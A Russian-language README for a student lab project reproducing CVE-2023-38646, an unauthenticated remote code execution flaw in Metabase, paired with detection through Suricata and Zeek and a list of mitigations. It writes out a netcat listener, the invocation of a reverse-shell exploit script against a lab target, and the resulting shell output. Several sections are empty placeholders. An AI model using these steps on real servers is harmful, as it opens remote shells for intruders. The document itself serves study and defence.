
CVE-2023-38646
Этот репозиторий документирует проект исследования безопасности в рамках доказательства концепции (PoC), анализирующего CVE-2023-38646 — критическую уязвимость удаленного выполнения кода (RCE) без аутентификации, затрагивающую уязвимые версии Metabase.
Цель этого проекта — продемонстрировать полный жизненный цикл реальной уязвимости, включая:
Этот репозиторий предназначен для демонстрации практических навыков в:
CVE-2023-38646 — это критическая уязвимость, затрагивающая определенные версии Metabase, платформы бизнес-аналитики и аналитики с открытым исходным кодом.
Уязвимость позволяет злоумышленнику достичь неаутентифицированного удаленного выполнения кода путем эксплуатации слабых мест в процессе установки или настройки приложения.
Ключевые детали:
Успешная эксплуатация позволяет злоумышленнику:
Официальные ссылки:
Этот проект объединяет как инструменты наступательной безопасности, так и инструменты защитного мониторинга.
Заполнитель — опишите вашу лабораторную установку
Пример:
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]
Эта диаграмма иллюстрирует высокоуровневый поток атаки, используемый в этом проекте.
Установка и настройка Docker:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Запуск Docker:
Уязвимый экземпляр Metabase Enterprise (v1.44.0) был развернут с помощью Docker.
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
Это открывает веб-интерфейс Metabase на порту 3000, обеспечивая доступ к странице настройки.
Если Docker уже запущен, выполните следующие команды, чтобы начать заново:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
Заполнитель 'Настройка Docker'
После запуска контейнера интерфейс Metabase становится доступным через браузер.
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
Страница настройки подтверждает, что экземпляр Metabase активен и готов к конфигурации.
BurpSuite
Заполнитель для скриншотов или объяснения
Перед запуском эксплойта на атакующей машине запускается слушатель Netcat для приема подключения обратной оболочки.
nc -lvnp 6666
Этот слушатель ожидает входящие подключения от эксплуатируемого сервера Metabase.
Заполнитель для скриншотов или объяснения
Скрипт эксплойта выполняется с атакующей машины.
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
Полезная нагрузка выполняет команду, которая устанавливает обратную оболочку к атакующей машине.
После успешного выполнения полезной нагрузки уязвимый экземпляр Metabase инициирует подключение обратно к атакующей машине.
Слушатель Netcat принимает подключение, предоставляя злоумышленнику доступ к оболочке системы.
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
Для подтверждения подключения к устройству жертвы:
whoami
Вывод:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
Этот проект также демонстрирует, как активность эксплуатации может быть обнаружена с помощью инструментов мониторинга сети.
Suricata (IDS) использовалась для мониторинга сетевого трафика на предмет подозрительных шаблонов, связанных с эксплойтом.
sudo suricata -i eth0
Заполнитель: вставьте скриншот срабатывания Suricata
evidence/detection/suricata_alert.png
Для наблюдения за срабатываниями в реальном времени логи Suricata отслеживались с помощью:
tail -f /var/log/suricata/fast.log
Заполнитель: вставьте скриншот лога Suricata
evidence/detection/suricata_log.png
Для пассивного подхода использовался пользовательский скрипт уведомлений, который генерировал всплывающие предупреждения на рабочем столе при обнаружении подозрительного трафика Suricata.
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
При выполнении эксплойта Suricata генерировала срабатывания, указывающие на подозрительную активность, связанную с попыткой эксплуатации Metabase.
Заполнитель: вставьте скриншот лога Suricata
evidence/detection/suricata_noti.png
Пример:
Заполнитель: вставьте скриншот лога Suricata
evidence/detection/suricata_noti.png
В дополнение к мониторингу IDS, Zeek использовался для анализа сетевого трафика и выявления аномального поведения.
Zeek запускается с помощью следующих команд, чтобы начать захват и анализ сетевого трафика:
sudo /usr/local/zeek/bin/zeek -i eth0
Заполнитель: вставьте скриншот запуска Zeek
evidence/detection/zeek.png
Просматривая журналы соединений, можно наблюдать трафик обратной оболочки на порту 6666.
192.168.1.136 → 192.168.1.137:6666
Заполнитель: вставьте скриншот лога Zeek
evidence/detection/zeek_log.png
Несколько стратегий смягчения могут снизить риск эксплуатации.
| Стратегия | Описание |
|---|---|
| Управление исправлениями | Обновите Metabase до версии, которая исправляет CVE-2023-38646 |
| Межсетевой экран веб-приложений (ModSecurity) | Фильтрация вредоносных HTTP-запросов |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
Этот проект демонстрирует полный жизненный цикл анализа и воспроизведения реальной критической уязвимости.
PoC демонстрирует:
Цель этого репозитория — предоставить техническое исследование, иллюстрирующее как наступательные, так и защитные практики кибербезопасности.
Styverson Ng
Бакалавр информационных технологий
Искусственный интеллект и автономные системы
Кибербезопасность и компьютерная криминалистика
Университет Мердока
| Обнаружение вторжений на хосте (OSSEC) | Мониторинг подозрительного поведения системы |
| Сетевой мониторинг (Suricata & Zeek) | Обнаружение аномальных шаблонов трафика |